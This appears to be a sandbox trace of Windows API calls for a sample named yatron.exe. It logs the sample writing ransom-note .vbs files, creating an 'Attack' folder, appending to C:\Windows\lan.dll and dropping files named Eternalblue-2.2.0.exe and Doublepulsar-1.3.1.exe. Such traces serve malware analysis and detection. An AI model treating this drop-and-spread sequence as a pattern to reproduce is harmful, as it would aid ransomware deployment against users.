[0124.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0124.861] GetFileType (hFile=0x3b4) returned 0x1
[0124.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecd60) returned 1
[0124.861] GetFileType (hFile=0x3b4) returned 0x1
[0124.861] WriteFile (in: hFile=0x3b4, lpBuffer=0x274bca8*, nNumberOfBytesToWrite=0x4bb, lpNumberOfBytesWritten=0x2ece38, lpOverlapped=0x0 | out: lpBuffer=0x274bca8*, lpNumberOfBytesWritten=0x2ece38*=0x4bb, lpOverlapped=0x0) returned 1
[0124.862] CloseHandle (hObject=0x3b4) returned 1
[0124.863] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x3c
[0124.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecdf0) returned 1
[0124.863] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0124.865] GetFileType (hFile=0x3b4) returned 0x1
[0124.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecd60) returned 1
[0124.866] GetFileType (hFile=0x3b4) returned 0x1
[0124.866] WriteFile (in: hFile=0x3b4, lpBuffer=0x274fce0*, nNumberOfBytesToWrite=0x4bb, lpNumberOfBytesWritten=0x2ece38, lpOverlapped=0x0 | out: lpBuffer=0x274fce0*, lpNumberOfBytesWritten=0x2ece38*=0x4bb, lpOverlapped=0x0) returned 1
[0124.867] CloseHandle (hObject=0x3b4) returned 1
[0124.952] CoTaskMemAlloc (cb=0x20e) returned 0x1ac1a6a0
[0124.952] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1ac1a6a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0124.952] CoTaskMemFree (pv=0x1ac1a6a0)
[0124.952] CoTaskMemAlloc (cb=0x20e) returned 0x1ac1a6a0
[0124.952] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1ac1a6a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0124.952] CoTaskMemFree (pv=0x1ac1a6a0)
[0124.954] CoTaskMemAlloc (cb=0x20e) returned 0x1ac1a6a0
[0124.954] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1ac1a6a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0124.954] CoTaskMemFree (pv=0x1ac1a6a0)
[0124.955] CoTaskMemAlloc (cb=0x20e) returned 0x1ac1a6a0
[0124.955] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1ac1a6a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0124.955] CoTaskMemFree (pv=0x1ac1a6a0)
[0125.444] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1a6a0
[0125.444] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ac1a6a0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yatron.exe")) returned 0x30
[0125.444] CoTaskMemFree (pv=0x1ac1a6a0)
[0125.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", nBufferLength=0x105, lpBuffer=0x2ecd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", lpFilePart=0x0) returned 0x30
[0125.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0125.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack", nBufferLength=0x105, lpBuffer=0x2ecdc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack", lpFilePart=0x0) returned 0x2c
[0125.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed200) returned 1
[0125.446] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\attack"), fInfoLevelId=0x0, lpFileInformation=0x2ed2e0 | out: lpFileInformation=0x2ed2e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0125.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed1c0) returned 1
[0125.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0125.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack", nBufferLength=0x105, lpBuffer=0x2ece10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack", lpFilePart=0x0) returned 0x2c
[0125.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack", nBufferLength=0x105, lpBuffer=0x2ecdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack", lpFilePart=0x0) returned 0x2c
[0125.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed210) returned 1
[0125.448] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\attack"), fInfoLevelId=0x0, lpFileInformation=0x2ed2f0 | out: lpFileInformation=0x2ed2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0125.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed1d0) returned 1
[0125.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack", nBufferLength=0x105, lpBuffer=0x2ece10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack", lpFilePart=0x0) returned 0x2c
[0125.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed160) returned 1
[0125.449] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\attack"), fInfoLevelId=0x0, lpFileInformation=0x2ed240 | out: lpFileInformation=0x2ed240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0125.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed120) returned 1
[0125.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed160) returned 1
[0125.449] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\attack"), fInfoLevelId=0x0, lpFileInformation=0x2ed240 | out: lpFileInformation=0x2ed240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0125.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed120) returned 1
[0125.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed160) returned 1
[0125.449] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2ed240 | out: lpFileInformation=0x2ed240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26dc9a80, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26dc9a80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
[0125.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed120) returned 1
[0125.450] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Attack" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\attack"), lpSecurityAttributes=0x0) returned 1
[0126.212] CoTaskMemAlloc (cb=0x20e) returned 0x1ac1a6a0
[0126.212] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0x1ac1a6a0, nSize=0x105 | out: lpBuffer="C:\\Windows") returned 0xa
[0126.212] CoTaskMemFree (pv=0x1ac1a6a0)
[0126.217] CoTaskMemAlloc (cb=0x20e) returned 0x1ac1a6a0
[0126.218] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0x1ac1a6a0, nSize=0x105 | out: lpBuffer="C:\\Windows") returned 0xa
[0126.218] CoTaskMemFree (pv=0x1ac1a6a0)
[0126.331] GetFullPathNameW (in: lpFileName="C:\\Windows\\lan.dll", nBufferLength=0x105, lpBuffer=0x2e9e40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\lan.dll", lpFilePart=0x0) returned 0x12
[0126.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea320) returned 1
[0126.331] CreateFileW (lpFileName="C:\\Windows\\lan.dll" (normalized: "c:\\windows\\lan.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0126.336] GetFileType (hFile=0x3b4) returned 0x1
[0126.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea290) returned 1
[0126.336] GetFileType (hFile=0x3b4) returned 0x1
[0126.336] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ea308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ea308*=0) returned 0x0
[0126.337] WriteFile (in: hFile=0x3b4, lpBuffer=0x2755da0*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x2ea3d8, lpOverlapped=0x0 | out: lpBuffer=0x2755da0*, lpNumberOfBytesWritten=0x2ea3d8*=0x54, lpOverlapped=0x0) returned 1
[0126.338] CloseHandle (hObject=0x3b4) returned 1
[0126.344] GetFullPathNameW (in: lpFileName="C:\\Windows\\lan.dll", nBufferLength=0x105, lpBuffer=0x2e9e40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\lan.dll", lpFilePart=0x0) returned 0x12
[0126.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea320) returned 1
[0126.345] CreateFileW (lpFileName="C:\\Windows\\lan.dll" (normalized: "c:\\windows\\lan.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0126.345] GetFileType (hFile=0x3b4) returned 0x1
[0126.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea290) returned 1
[0126.345] GetFileType (hFile=0x3b4) returned 0x1
[0126.345] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ea308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ea308*=0) returned 0x54
[0126.345] WriteFile (in: hFile=0x3b4, lpBuffer=0x2758900*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x2ea3d8, lpOverlapped=0x0 | out: lpBuffer=0x2758900*, lpNumberOfBytesWritten=0x2ea3d8*=0x49, lpOverlapped=0x0) returned 1
[0126.345] CloseHandle (hObject=0x3b4) returned 1
[0126.348] GetFullPathNameW (in: lpFileName="C:\\Windows\\lan.dll", nBufferLength=0x105, lpBuffer=0x2e9e40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\lan.dll", lpFilePart=0x0) returned 0x12
[0126.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea320) returned 1
[0126.348] CreateFileW (lpFileName="C:\\Windows\\lan.dll" (normalized: "c:\\windows\\lan.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0126.348] GetFileType (hFile=0x3b4) returned 0x1
[0126.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea290) returned 1
[0126.348] GetFileType (hFile=0x3b4) returned 0x1
[0126.348] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ea308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ea308*=0) returned 0x9d
[0126.348] WriteFile (in: hFile=0x3b4, lpBuffer=0x275b4a0*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2ea3d8, lpOverlapped=0x0 | out: lpBuffer=0x275b4a0*, lpNumberOfBytesWritten=0x2ea3d8*=0x53, lpOverlapped=0x0) returned 1
[0126.349] CloseHandle (hObject=0x3b4) returned 1
[0126.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\lan.dll", nBufferLength=0x105, lpBuffer=0x2e9e40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\lan.dll", lpFilePart=0x0) returned 0x12
[0126.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea320) returned 1
[0126.387] CreateFileW (lpFileName="C:\\Windows\\lan.dll" (normalized: "c:\\windows\\lan.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0126.387] GetFileType (hFile=0x3b4) returned 0x1
[0126.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea290) returned 1
[0126.387] GetFileType (hFile=0x3b4) returned 0x1
[0126.387] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ea308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ea308*=0) returned 0xf0
[0126.388] WriteFile (in: hFile=0x3b4, lpBuffer=0x275e000*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x2ea3d8, lpOverlapped=0x0 | out: lpBuffer=0x275e000*, lpNumberOfBytesWritten=0x2ea3d8*=0x49, lpOverlapped=0x0) returned 1
[0126.388] CloseHandle (hObject=0x3b4) returned 1
[0126.392] GetFullPathNameW (in: lpFileName="C:\\Windows\\lan.dll", nBufferLength=0x105, lpBuffer=0x2e9e40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\lan.dll", lpFilePart=0x0) returned 0x12
[0126.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea320) returned 1
[0126.393] CreateFileW (lpFileName="C:\\Windows\\lan.dll" (normalized: "c:\\windows\\lan.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0126.393] GetFileType (hFile=0x3b4) returned 0x1
[0126.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea290) returned 1
[0126.393] GetFileType (hFile=0x3b4) returned 0x1
[0126.393] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ea308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ea308*=0) returned 0x139
[0126.393] WriteFile (in: hFile=0x3b4, lpBuffer=0x2760c98*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x2ea3d8, lpOverlapped=0x0 | out: lpBuffer=0x2760c98*, lpNumberOfBytesWritten=0x2ea3d8*=0x75, lpOverlapped=0x0) returned 1
[0126.393] CloseHandle (hObject=0x3b4) returned 1
[0126.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\lan.dll", nBufferLength=0x105, lpBuffer=0x2e9e40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\lan.dll", lpFilePart=0x0) returned 0x12
[0126.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea320) returned 1
[0126.396] CreateFileW (lpFileName="C:\\Windows\\lan.dll" (normalized: "c:\\windows\\lan.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0126.397] GetFileType (hFile=0x3b4) returned 0x1
[0126.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea290) returned 1
[0126.397] GetFileType (hFile=0x3b4) returned 0x1
[0126.397] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ea308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ea308*=0) returned 0x1ae
[0126.397] WriteFile (in: hFile=0x3b4, lpBuffer=0x2763970*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x2ea3d8, lpOverlapped=0x0 | out: lpBuffer=0x2763970*, lpNumberOfBytesWritten=0x2ea3d8*=0x7f, lpOverlapped=0x0) returned 1
[0126.397] CloseHandle (hObject=0x3b4) returned 1
[0126.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\lan.dll", nBufferLength=0x105, lpBuffer=0x2e9e40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\lan.dll", lpFilePart=0x0) returned 0x12
[0126.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea320) returned 1
[0126.401] CreateFileW (lpFileName="C:\\Windows\\lan.dll" (normalized: "c:\\windows\\lan.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0126.401] GetFileType (hFile=0x3b4) returned 0x1
[0126.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea290) returned 1
[0126.401] GetFileType (hFile=0x3b4) returned 0x1
[0126.402] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ea308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ea308*=0) returned 0x22d
[0126.402] WriteFile (in: hFile=0x3b4, lpBuffer=0x2766668*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x2ea3d8, lpOverlapped=0x0 | out: lpBuffer=0x2766668*, lpNumberOfBytesWritten=0x2ea3d8*=0x7f, lpOverlapped=0x0) returned 1
[0126.402] CloseHandle (hObject=0x3b4) returned 1
[0126.404] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0126.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", lpFilePart=0x0) returned 0x3b
[0126.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0126.444] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eternalblue-2.2.0.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3b4
[0126.445] GetFileType (hFile=0x3b4) returned 0x1
[0126.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0126.445] GetFileType (hFile=0x3b4) returned 0x1
[0126.445] WriteFile (in: hFile=0x3b4, lpBuffer=0x158f7040*, nNumberOfBytesToWrite=0x1f800, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x158f7040*, lpNumberOfBytesWritten=0x2ea818*=0x1f800, lpOverlapped=0x0) returned 1
[0126.451] CloseHandle (hObject=0x3b4) returned 1
[0126.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", lpFilePart=0x0) returned 0x3b
[0126.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", lpFilePart=0x0) returned 0x3b
[0126.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", lpFilePart=0x0) returned 0x3b
[0126.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", lpFilePart=0x0) returned 0x3b
[0126.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", lpFilePart=0x0) returned 0x3b
[0126.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0126.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eternalblue-2.2.0.exe"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cf66c0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27cf66c0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27d1c820, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f800)) returned 1
[0126.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0126.485] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe", lpFilePart=0x0) returned 0x3b
[0126.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0126.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eternalblue-2.2.0.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3b4
[0126.485] GetFileType (hFile=0x3b4) returned 0x1
[0126.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0126.485] GetFileType (hFile=0x3b4) returned 0x1
[0126.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0126.520] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", lpFilePart=0x0) returned 0x3c
[0126.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0126.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\doublepulsar-1.3.1.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3b0
[0126.522] GetFileType (hFile=0x3b0) returned 0x1
[0126.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0126.522] GetFileType (hFile=0x3b0) returned 0x1
[0126.522] WriteFile (in: hFile=0x3b0, lpBuffer=0x2768cc8*, nNumberOfBytesToWrite=0xb200, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x2768cc8*, lpNumberOfBytesWritten=0x2ea818*=0xb200, lpOverlapped=0x0) returned 1
[0126.525] CloseHandle (hObject=0x3b0) returned 1
[0126.531] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", lpFilePart=0x0) returned 0x3c
